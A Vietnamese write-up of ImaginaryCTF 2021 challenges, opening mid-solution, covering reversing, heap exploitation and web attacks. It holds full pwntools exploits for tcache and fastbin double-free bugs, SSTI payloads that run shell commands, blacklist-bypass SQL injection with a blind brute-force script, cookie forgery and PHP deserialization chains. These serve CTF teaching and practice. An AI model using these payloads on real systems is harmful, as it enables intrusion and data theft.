1; tape[ptr] -= 13; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 7; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 13; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 11; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 4; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 12; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 12; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 19; ptr += 1; tape[ptr] += 1; } ptr += 2; tape[ptr] += 6; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 6; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 2; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 2; ptr += 1; tape[ptr] += 1; } tape[ptr] += 1; ptr -= 1; while (tape[ptr] != 0) { ptr += 1; while (tape[ptr] != 0) { tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; ptr += 1; tape[ptr] += 2; ptr -= 2; } ptr += 2; while (tape[ptr] != 0) { tape[ptr] -= 1; ptr -= 2; tape[ptr] += 1; ptr += 2; } ptr -= 1; while (tape[ptr] != 0) { while (tape[ptr] != 0) { ptr -= 1; } ptr -= 1; while (tape[ptr] != 0) { ptr -= 1; } ptr += 1; printf("%c",tape[ptr]); while (tape[ptr] != 0) { ptr += 1; } ptr += 1; while (tape[ptr] != 0) { ptr += 1; } ptr -= 1; tape[ptr] -= 1; } while (tape[ptr] != 0) { ptr -= 1; } ptr -= 1; while (tape[ptr] != 0) { ptr -= 1; } ptr -= 1; while (tape[ptr] != 0) { ptr -= 1; } ptr += 1; while (tape[ptr] != 0) { tape[ptr] -= 1; } ptr += 1; while (tape[ptr] != 0) { ptr += 1; } ptr += 1; tape[ptr] -= 1; }}
Nhìn sơ qua đoạn code thì ta có thể thấy được 2 phần chính: phần khởi tạo giá trị cho mảng tape
và phần in ra các giá trị. Mình ngồi dọc chương trình được 1 lúc thì thấy rằng flag được lưu từ 0 đến 31, vì thế mình chỉ việc in ra flag.
ictf{0n3_ch@r@ct3r_0f_d1f3r3nce}
P/s
Bài Fewer Thoughts, Head Emptier
tương tự như bài này nên mình sẽ không viết Write Up bài đó. Nếu có thắc mắc về bài đó các bạn có thể liên lạc cá nhân với mình.
normal
Challenge
File: normal.v Makefile
Solve:
Sau khi một hồi tham khảo google thì mình biết file normal.v
được viết bằng ngôn ngữ Verilog
, còn file Makefile
chỉ để compile file normal.v
và chạy chương trình.
Lúc này mình cảm thấy rất làm biếng học về Verilog
, nên mình quyết định đoán cách hoạt động của từng lệnh trong chương trình, và mình đã đoán đúng :D
Mình đổi thử biến flag
từ hex sang strings thì kết quả là ictf{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}
Sau đó mình nhìn lên module normal
Mình nghĩ biến in
sẽ là flag ta nhập, còn out
sẽ đưa ra kết quả đúng hay sai dựa trên kết quả của các phép biến đổi. Suy nghĩ hướng đi như thế, mình dùng z3
để giải bài này như sau:
script.py
from z3 import *a = int('44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3', 16)b = int('d208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21', 16)s = Solver()flag, c1, c2, w1, w2, w3, w4, w5, w6, w7, w8, out = BitVecs('flag c1 c2 w1 w2 w3 w4 w5 w6 w7 w8 out', 32 * 8)c1 = ac2 = bs.add(w1 == ~(flag | c1))s.add(w2 == ~(flag | w1))s.add(w3 == ~(w1 | c1))s.add(w4 == ~(w2 | w3))s.add(w5 == ~(w4 | w4))s.add(w6 == ~(w5 | c2))s.add(w7 == ~(w5 | w6))s.add(w8 == ~(c2 | w6))# out = s.add((~(w7 | w8)) == 0)print(s.check())print(s.model())
Và mình bất ngờ khi nó ra được kết qu. Đổi kết quả từ decimal sang string text
ictf{A11_ha!1_th3_n3w_n0rm_n0r!}
roolang
Challenge
File: roolang.zip
Solve:
Mình unzip file ra thì thấy có tổng cộng 7 file, có 1 file chạy được là roolang.py
. Mình chạy thử thì kết quả trả về là Usage: ./roolang.py [filename.roo]
. Lúc này mình nghĩ file cần thêm vào sẽ là flag.roo
thì nó in ra flag một hồi sau đó bị đứng máy. Mình biết ngay đây là một bài tối ưu hoá thuật toán kết hợp với Virtual Machine.
Để dễ hình dung, thì mình sẽ nói sơ về cách mình tiếp cận bài này:
- Để có thể theo dõi luồng hoạt động, mình đã thêm vào mỗi đoạn xử lí opcode một vài hàm print để in ra các thông tin mình cần biết, thường thì mình sẽ in ra đó là opcode gì, opcode đó sẽ làm gì, giá trị trên stack... Tuỳ vào bài mà in ra các thông tin khác nhau
- Vì bài này là về tối ưu hoá thuật toán, nên mình suy nghĩ rằng các opcode được viết để có thể thực hiện theo một quy luật nhất định, chứ không thể nào có thể viết theo ý của tác giả được. Tới đây mình nghĩ tới việc chỉ in ra stack trong quá trình hoạt động, và in ra thông báo khi đã in ra được một kí tự trong flag, quan trọng ở đây chúng ta chỉ cần tìm ra quy luật tạo ra một kí tự trong flag, chứ không nhất thiết phải tìm hiểu từng hàm của chương trình.
Với 2 suy nghĩ trên, mình liền debug cùng với chiến thuật trên. Một hồi thì minh biết được chương trình sẽ tạo ra 1 mảng giá trị, sau đó sẽ xor từng giá trị trong mảng bắt đầu từ vị trị cuối cùng với dãy số fibonacci ở vị trí tương ứng. Tới đây mình chỉ viết script và in ra kết quả:
script.py
a = [0, 14472334024676096, 8944394323791450, 5527939700884769, 3416454622906725, 2111485077978096, 1304969544928756, 806515533049347, 498454011879172, 308061521170150, 190392490709200, 117669030460982, 72723460248127, 44945570212756, 27777890035307, 17167680177653, 10610209857675, 6557470319826, 4052739537835, 2504730782038, 1548008755937, 956722025992, 591286729974, 365435296253, 225851433664, 139583862488, 86267571223, 53316291075, 32951280083, 20365011165, 12586268949, 7778742098, 4807527027, 2971214979, 1836311808, 1134903217, 701408693, 433494481, 267914343, 165580035, 102334114, 63246016, 39088153, 24157707, 14930304, 9227513, 5702805, 3524541, 2178357, 1346217, 832119, 514176, 317697, 196465, 121346, 75129, 46403, 28590, 17692, 10993, 6687, 4157, 2668, 1606, 957, 534, 282, 128, 176, 42, 94, 2, 114, 108, 100, 99, 35, 103, 105, 85]f = [1, 1, 2]for i in range(78): f.append(f[i+1] + f[i+2])for i in range(79): # print(f[i], a[80-i-1]) print(chr(a[80-i-1] ^ f[i]),end="")
ictf{thr33_ch33r5_t0_r00r0bin_th3_b3st_0f_u5_a11_r00h3art_7d2e2642}
strings
Challenge
File: stings
Solve:
Đưa vào IDA Pro nhìn lướt sơ:
Nhìn vô ta liền thấy một đoạn văn bản được copy vào biến v6
, và sau đó lấy biến v5
là biến input từ bàn phím, so sánh với các kí từ của v6
trừ đi 1. Mình viết script để decode v6
:
a = "jdug|tus2oht`5s4ou`i2ee4o`28c32b7:~"for i in a: print(chr(ord(i) - 1), end = "")
ictf{str1ngs_4r3nt_h1dd3n_17b21a69}
PWN
pivik
Memory pile
Đây là 1 bài heap khá cơ bản.
Reversing the binary
Chương trình có 3 hàm chính khá quen thuộc khi làm các challenge về heap.
_QWORD *acquire(){ int idx; // ebx void *chunk; // rcx _QWORD *result; // rax idx = read(); chunk = malloc(0x20uLL); result = mem; mem[idx] = chunk; return result;}
__int64 read(){ int idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("With great power comes great responsibility > "); __isoc99_scanf("%d", &idx); if ( idx < 0 || idx > 3 ) exit(1); return (unsigned int)idx;}
Hàm acquire()
cho phép malloc
1 size cố định là 0x20
.
void release(){ int idx; // eax idx = read(); free((void *)mem[idx]);}
free
không null => UAF, double free.
__int64 fill(){ int idx; // [rsp+Ch] [rbp-4h] idx = read(); printf("Let me have it, boss > "); return __isoc99_scanf("%31s", mem[idx]);}
Hàm main()
cho sẵn luôn địa chỉ hàm printf
nên không cần phải tìm cách leak libc.
... printf("Welcome. I'll keep it simple.\nI'll even give you a present, if you manage to unwrap it...\n%p\n", &printf);...
Dựa vào file libc đề cho là 2.27 là có tcache
, mà ở bản 2.27 thì tcache
không check việc double free => Tcache dup về __free_hook
rồi ghi đè __free_hook
bằng one_gadget
.
Exploit code:
from pwn import *elf = ELF('./memory_pile')libc = ELF('./libc-2.27.so')# p = elf.process()p = remote('chal.imaginaryctf.org', 42007)def malloc(): p.recv() p.sendline('1') p.recv() p.sendline('1')def free(): p.recv() p.sendline('2') p.recv() p.sendline('1')def edit(data): p.recv() p.sendline('3') p.recv() p.sendline('1') p.recv() p.sendline(bytes(data))p.recvuntil('...\n')leak_addr = int(p.recvline().strip(), 16)log.info('leak_addr: ' + hex(leak_addr))libc_base = leak_addr - libc.sym['printf']log.info('libc_base: ' + hex(libc_base))free_hook = libc_base + libc.sym['__free_hook']log.info('__free_hook: ' + hex(free_hook))one_gadget = libc_base + 0x4f3c2log.info('one_gadget: ' + hex(one_gadget))malloc()free()free()edit(p64(free_hook))malloc()malloc()edit(p64(one_gadget))free()p.interactive()
$ python3 solve_memory.py[*] '/home/pivik/CTF/imaginary/2021/pwn/memory_pile/memory_pile' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./'[*] '/home/pivik/CTF/imaginary/2021/pwn/memory_pile/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to chal.imaginaryctf.org on port 42007: Done[*] leak_addr: 0x7f4a7b18ef00[*] libc_base: 0x7f4a7b12a000[*] __free_hook: 0x7f4a7b5178e8[*] one_gadget: 0x7f4a7b1793c2[*] Switching to interactive mode$ lsflag.txtld-2.27.solibc-2.27.sorun$ cat flag.txtictf{hemlock_for_the_tcache}
Gotta Go Fast
//pivik ft shawkingBài này đề cho sẵn source code luôn nên mình đỡ phải reverse lại.
#include <limits.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>typedef struct Tribute { char name[100]; short district; short index_in_district;} Tribute;typedef struct TributeList { Tribute* tributes[100]; struct TributeList* next; int in_use;} TributeList;TributeList* head;int list_append(Tribute* t) { int offset = 0; TributeList* cur = head; while (cur->in_use == 100) { if (cur->next == NULL) { cur->next = malloc(sizeof(TributeList)); cur->next->next = NULL; cur->next->in_use = 0; } offset += 100; cur = cur->next; } offset += cur->in_use; cur->tributes[cur->in_use++] = t; return offset;}void list_remove(int idx) { TributeList* last = head; while (last->next != NULL) { if (last->next->in_use == 0) { free(last->next); last->next = NULL; break; } last = last->next; } TributeList* cur = head; while ((cur->in_use == 100 && idx >= 100)) { if (!cur->next) { abort(); } cur = cur->next; idx -= 100; } Tribute* t = last->tributes[last->in_use - 1]; last->tributes[last->in_use - 1] = cur->tributes[idx]; free(last->tributes[last->in_use - 1]); cur->tributes[idx] = t; last->in_use--;}int readint(int lo, int hi) { int res = -1; while (1) { printf("> "); scanf("%d", &res); if (res >= lo && res <= hi) { return res; } }}void init() { head = malloc(sizeof(TributeList)); head->next = NULL; head->in_use = 0; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(180);}void menu() { puts("What would you like to do?"); puts(" [0] Draft a new tribute"); puts(" [1] Remove a tribute from the list (because someone volunteered in their place again, people should really stop doing that, it messes with our management system)"); puts(" [2] See an overview of the current tributes"); puts(" [3] Start the games, may the odds be ever in your favor!");}void draft() { Tribute* t = malloc(sizeof(Tribute)); puts("For which district will this tribute fight?"); t->district = readint(1, 12); puts("What's the position among the tributes for this district?"); t->index_in_district = readint(1, 2); puts("Least importantly, what's their name?"); scanf("%99s", t->name); printf("Noted, this is tribute %d\n", list_append(t));}void undraft() { puts("Which tribute should be undrafted?"); int idx = readint(0, INT_MAX); list_remove(idx); puts("done.");}void list() { int idx = 0; TributeList* cur = head; while (cur) { for (int i = 0; i < cur->in_use; i++, idx++) { Tribute* t = cur->tributes[i]; printf("Tribute %d [%s] fights in position %d for district %d.\n", idx, t->name, t->index_in_district, t->district); } cur = cur->next; }}void run() { puts("TODO: implement this simulation into the matrix."); exit(0);}int have_diagnosed = 0;void diagnostics() { if (have_diagnosed) { puts("I understand things might be broken, but we should keep some semblance of security."); abort(); } have_diagnosed = 1; puts("I take it the management system was ruined by volunteers again? Just let me know which memory address you need..."); unsigned long long x = 0; scanf("%llu", &x); printf("%p\n", *(void**)x);}int main() { init(); puts("Welcome to the Hunger Games management system."); while (1) { menu(); int choice = readint(0, 4); switch (choice) { case 0: draft(); break; case 1: undraft(); break; case 2: list(); break; case 3: run(); break; case 4: diagnostics(); break; default: abort(); // Shouldn't happen anyway } }}
Hàm diagnostics()
là hàm được dùng để leak địa chỉ.
Chương trình có lỗi use after free ở hàm list_remove()
:
void list_remove(int idx) {... Tribute* t = last->tributes[last->in_use - 1]; last->tributes[last->in_use - 1] = cur->tributes[idx]; free(last->tributes[last->in_use - 1]); cur->tributes[idx] = t; last->in_use--;}
Bài này sẽ sử dụng double free
và fastbin attack
, các bạn có thể tham khảo thêm tại các nguồn sau:
- https://github.com/shellphish/how2heap/blob/master/glibc_2.23/fastbin_dup.c
- https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html
- https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/
Có 1 cách giải mà không cần dùng tới fastbin attack, các bạn có thể tham khảo wu của a shawking tại đây
Đầu tiên mình sẽ malloc 2 chunk:
add(b'a')add(b'b')
Sau đó sử dụng lỗi double free:
free(1)free(0)free(1)free(0)
Lúc này fastbin sẽ là [0->1->0->1].
Add lại 1 chunk:
add(p64(malloc_hook - 35))
Lý do mình không return về __malloc_hook
luôn mà return về __malloc_hook - 35
là do khi malloc chunk fastbin có 1 đoạn check:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; }
Đoạn check này sẽ check phần size có nằm trong phần fastbin size của chunk được malloc không. Do các chunk mà ta sử dụng có size là 0x70
nên khi malloc lại thì phần chunk return cũng phải là 0x7x
. Vậy nên nếu return về __malloc_hook
thì:
pwndbg> x/4gx 0x7fafb3aefb100x7fafb3aefb10 <__malloc_hook>: 0x0000000000000000 0x00000000000000000x7fafb3aefb20: 0x0000000000000000 0x0000000000000000
phần size sẽ là 0. Vậy __malloc_hook - 35
thì sẽ thế nào?
pwndbg> x/4gx 0x7fafb3aefb10-350x7fafb3aefaed: 0xafb3aee260000000 0x000000000000007f0x7fafb3aefafd: 0xafb37b0ea0000000 0xafb37b0a7000007f
size sẽ là 0x7f
=> toẹt zời.
Malloc lại 3 lần nữa chunk return sẽ là __malloc_hook - 35
. Sau đó thì ghi đè __malloc_hook
bằng one_gadget
.
add(b'c')add(b'd')add(b'e'*19 + p64(one_gadget))
Exploit code:
from pwn import *elf = ELF('./gotta_go_fast')libc = ELF('./libc.so.6')# p = elf.process()p = remote('chal.imaginaryctf.org', 42009)def add(data): p.sendlineafter('> ', '0') p.sendlineafter('> ', '1') p.sendlineafter('> ', '1') p.sendlineafter('name?\n', bytes(data)) log.info('ADD!')def free(idx): p.sendlineafter('> ', '1') p.sendlineafter('> ', str(idx)) log.info('FREE!')p.recv()p.sendline('4')p.recv()p.sendline('6299552')# p.recvline()leaked_addr = int(p.recvline().strip(), 16)log.info('leaked_addr: ' + hex(leaked_addr))libc_base = leaked_addr - libc.sym['free']log.info('libc_base: ' + hex(libc_base))malloc_hook = libc_base + libc.sym['__malloc_hook']log.info('__malloc_hook: ' + hex(malloc_hook))one_gadget = libc_base + 0xf0364log.info('one_gadget: ' + hex(one_gadget))add(b'a')add(b'b')free(1)free(0)free(1)free(0)add(p64(malloc_hook - 35))add(b'c')add(b'd')add(b'e'*19 + p64(one_gadget))p.sendlineafter('> ', '0')p.interactive()
$ python3 solve_gotta_go_fast.py[*] '/home/pivik/CTF/imaginary/2021/pwn/gotta_go_fast/gotta_go_fast' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled[*] '/home/pivik/CTF/imaginary/2021/pwn/gotta_go_fast/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to chal.imaginaryctf.org on port 42009: Done[*] leaked_addr: 0x7fb86134f540[*] libc_base: 0x7fb8612cb000[*] __malloc_hook: 0x7fb86168fb10[*] one_gadget: 0x7fb8613bb364[*] ADD![*] ADD![*] FREE![*] FREE![*] FREE![*] FREE![*] ADD![*] ADD![*] ADD![*] ADD![*] Switching to interactive mode$ lsadmin.zipflag.txtld-2.23.solibc-2.23.sorun$ cat flag.txtictf{s4n1c_w1ns_th3_hung3r_G4M3S!}
WEB
Saved sources: https://github.com/th13ntc/ctf-source-saved/tree/main/imaginaryCTF2021dtro
Roos World
Vào view-source thì thấy đoạn script dưới, theo kinh nghiệm chơi ctf thì mình biết đây là mã hóa jsfuck
Ta vào đây để decode đoạn mã trên
Chạy đoạn mã trên ta được flag
FLAG: ictf{1nsp3ct0r_r00_g0es_th0nk}
th13ntc
SaaS
Source code được đưa thì biết được cần request đến /backend
một param query
để server thực hiện một đoạn sed command.
Payload: -n '1p' fl*.txt
-n '1p'
: In 1 line trong file (filefl*.txt
sẽ được concat với filestuff.txt
)
FLAG: ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}
Build-A-Website
Ta có có source code:Những gì mình nhập vào sẽ được b64 enc truyền vào param content
để làm url sau đó lại b64 dec rồi được render.Không khó để nhận biết là một dạng SSTI
nhưng cái khó là bypass blacklist
.Payload SSTI bình thường:
{{''.__class__.mro()[1].__subclasses__[360].(['cat', 'f*.txt'], stdout=-1).communicate()}}
Có thể là concat string hoặc như mình chọn cách sử dụng request.args.get.
360 là mình có thể dễ dàng tìm đếm được khi show all class.
Payload:
/site?content=e3sgJydbcmVxdWVzdC5hcmdzLmdldCgnYycpXS5tcm8oKVsxXVtyZXF1ZXN0LmFyZ3MuZ2V0KCdzJyldKClbMzYwXShbJ2NhdCcsICdmbGFnLnR4dCddLCBzdGRvdXQ9LTEpLmNvbW11bmljYXRlKCkgfX0%3D&c=class&s=subclasses
FLAG: ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}
#Một số payload lượm được, lưu ở đây#1 from TheBadGod{{url_for["__globa""ls__"].__builtins__.open("flag.txt").read()}}#2 from puzzler7{{request|attr('app\x6cication')\|attr('\x5f\x5fg\x6co\x62a\x6cs\x5f\x5f')\|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5f\x62ui\x6ctins\x5f\x5f')\|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')\|attr('popen')('cat flag.txt')|attr('read')()}}
Awkward_Bypass
Trong source code thì dễ dàng biết được đây là một bài Sql injection:
Cái khó khăn ban đầu là phải vượt qua được blacklist
:
blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "IN", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
Nhưng may mắn thay vì đoạn kiểm tra thì sẽ xóa những ký tự trong blacklist nhưng lại không xóa đệ quy:
Thử với payload đơn giản: ' oorr 1=1 -- -
Đăng nhập thành công nhưng không có flag, và việc đầu tiên mình nghĩ là có thể nằm ở column khác hoặc table khác hoặc là password. Việc gì dễ làm trước. Bruteforce password, dùng signature blind sqli.
from enum import Flagimport requestsurl = 'https://awkward-bypass.chal.imaginaryctf.org/user'charlist = ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'flag = ''for j in range(1, 35): for c in charlist: myobj = { "username": f"' oorr (substr((SESELECTLECT paassswoorrd FRFROMOM users LILIMITMIT 0, 1), {j}, 1) = '{c}') -- -", "password": "' oorr 1=1 -- -" } x = requests.post(url, data=myobj) if ("Ummmmmmm, did you expect a flag to be here?" in x.text): flag += c print(c) breakprint(flag)# ictf{n1c3_fil73r_byp@ss_7130676d}
Cookie Stream
Bài này liên quan rất nhiều tới crypto nên mình khá ngại :< nhưng rất may nhờ mình đã xem lại bài More Cookie picoCTF2021 kết hợp sự chỉ bảo tận tình của thằng bạn từng là "tô thủ" nên mình solved <3
Trong source code sẽ tóm tắt các việc như sau: Đăng nhập thành công -> Tạo cookie (AES CTR mode) -> Chuyển tới /home
-> Check xem cookie có phải admin không? -> Phải thì flag không thì cútMình có 1 danh sách username và password đã sha:
Ngoại trừ admin ra thì mình để có thể dùng tool https://md5decrypt.net/en/Sha512/
để decrypt, mình pick đại thằng ImaginaryCTFUser
có password là idk
.
Tìm hiểu về cách encrypt và và decrypt của AES CTR mode:
Sau vài tiếng sử dụng bộ não sợ crypto ngẫm nghĩ thì tìm được một cách giải:
- Lấy cookie
- Tách 16 ký tự đầu ra (nonce)
- Lấy các ký tự còn lại (ciphertext) xor với username -
ImaginaryCTFUser
(xor kiểu bytes) - Đem kết quả trên là Key xor với username -
admin
(xor kiểu bytes) - Hexify kết quả trên rồi cộng với nonce (tất nhiên nonce ở phía trước)
- Cookie mới được sinh ra và đem đi submit
import requestsfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom binascii import hexlify, unhexlifyimport redef xor_bytes(bA, bB): return bytes([a ^ b for a, b in zip(bA, bB)])# Login and get cookieurl_login = 'https://cookie-stream.chal.imaginaryctf.org/backend'obj = { "username": "ImaginaryCTFUser", "password": "idk"}req = requests.Session()req.post(url=url_login, data=obj)cookie = req.cookies["auth"]# cookie = "1e9ab9db51d7fabcf410c9ed0a35fbfa8c5981b3c26383fc1fe49661440be237cde3a73ab5725c1f"print(f"[+] Cookie\t: {cookie} {len(cookie)}")# Parse cookie and find keynonce = cookie[:16]cipher_text_ImaginaryCTFUser = unhexlify(cookie[16:])plain_text_ImaginaryCTFUser = pad("ImaginaryCTFUser".encode(), 16)key = xor_bytes(cipher_text_ImaginaryCTFUser, plain_text_ImaginaryCTFUser)print(f"[+] Plaintext\t: {hexlify(plain_text_ImaginaryCTFUser)}")print(f"[+] Cipher\t: {hexlify(cipher_text_ImaginaryCTFUser)}")print(f"[+] Key\t\t: {hexlify(key)}")# Find cipher of adminplain_text_admin = pad("admin".encode(), 16)cipher_text_admin = xor_bytes(key, plain_text_admin)print(f"[+] Plaintext_admin\t: {hexlify(plain_text_admin)}")print(f"[+] Cipher_admin\t: {hexlify(cipher_text_admin)}")# Hexify and add noncecookie_admin = nonce + hexlify(cipher_text_admin).decode()print(f"[+] Cookie_admin\t: {cookie_admin} {len(cookie_admin)}")# GET flagurl_home = "https://cookie-stream.chal.imaginaryctf.org/home"req.cookies.set("auth", cookie_admin)res = req.get(url=url_home)if ("ictf{" in res.text): print(re.findall("ictf\{[ -z|~]+\}", res.text)[0])
FLAG: ictf{d0nt_r3us3_k3ystr34ms_b72bfd21}
Destructoid
Truyền param ?source
để xem source code:
<?php$printflag = false;class X { function __construct($cleanup) { if ($cleanup === "flag") { die("NO!\n"); } $this->cleanup = $cleanup; } function __toString() { return $this->cleanup; } function __destruct() { global $printflag; if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") { die("No!\n"); } include $this->cleanup . ".php"; if ($printflag) { echo $FLAG . "\n"; } }}class Y { function __wakeup() { echo $this->secret . "\n"; } function __toString() { global $printflag; $printflag = true; return (new X($this->secret))->cleanup; }}if (isset($_GET['source'])) { highlight_file(__FILE__); die();}echo "ecruos? ym dnif uoy naC\n";if (isset($_SERVER['HTTP_X_PAYLOAD'])) { unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));}
Nhìn sơ qua thì có thể biết đây là một bài khai thác unserialize vulnerability.Ở line 45 ý nói rằng mình phải send 1 trường header X-PAYLOAD
để có thể đưa giá trị của trường này vào thực hiện unserialize()
.
Ban đầu mình cực kì khó khăn...
- Nếu unserialize trực tiếp X thì không in flag.
- Nếu unserialize Y thì không trigger được __toString().
- Giả sử nếu call được toString() thì làm sao để né construct() của X
Serialize của object Y (giả sử $secret='flag') sẽ như sau: O:1:"Y":1:{s:6:"secret";s:4:"flag";}
Để giải quyết khó khăn mình đi vào từng vấn đề, chủ yếu sử dụng lồng ghép các object với nhau:
Đại loại: new X(new X(new Y('flag')))
- Gọi được __toString():
O:1:"Y":1:{s:6:"secret";O:1:"Y":1:{s:6:"secret";s:4:"flag";}}
- Né __construct():
O:1:"Y":1:{s:6:"secret";O:1:"Y":1:{s:6:"secret";O:1:"X":1:{s:7:"cleanup";s:4:"flag";}}}
Giải thích:Lồng ghép thứ nhất sẽ gán $secret là object Y thì trong wakeup có echo $secret gọi được toString.Lồng ghép thứ 2, vì trước đó toString được gọi nên global $printFlag True nên gán $secret thứ 2 bằng object Y chỉ nhầm unserialize Y không trigger hàm construct.
B64 enc đoạn trên:
FLAG: ictf{d3s3r14l1z4t10n_4nd_d3struct10n}
#Lượm được solution khác, tạm thời để đây =)))#from TheBadGod$y = new Y("flag");$x = New X("flag");echo serialize([$y, new Y($y), $x]);
Sinking Calculator
Tại source code ta nhận được thì không khó để biết là một bài SSTI.
Nhưng khó khăn ở đây output đã được lọc mỗi số mới được in ra, và len đầu vào chỉ được 80.
SSTI để rce đã được nhưng để đọc được thì phải tìm được command để khi in nội dung ở base8 hoặc 10 rồi đem đi convert. Vì giới hạn 80 ký tự nên có một số command tìm được lại không dùng được, vất vả khó khăn lới mới tìm được 1 cái command có thể dùng.
Tại đây có thể sử dụng od command để convert file content sang Oct. od -b -A n fla*
-b
: octal format-A n
: không in offset của file
Payload:calc?query=config.class.init.globals[%27os%27].popen(%27od%20-b%20-An%20fla*%27).read()
Lúc này sẽ nhận một dãy số, convert octal to text là có flag.
FLAG: ictf{this_flag_has_three_interesting_properties_it_has_no_numbers_or_dashes_it_is_quite_long_and_it_is_quite_scary}
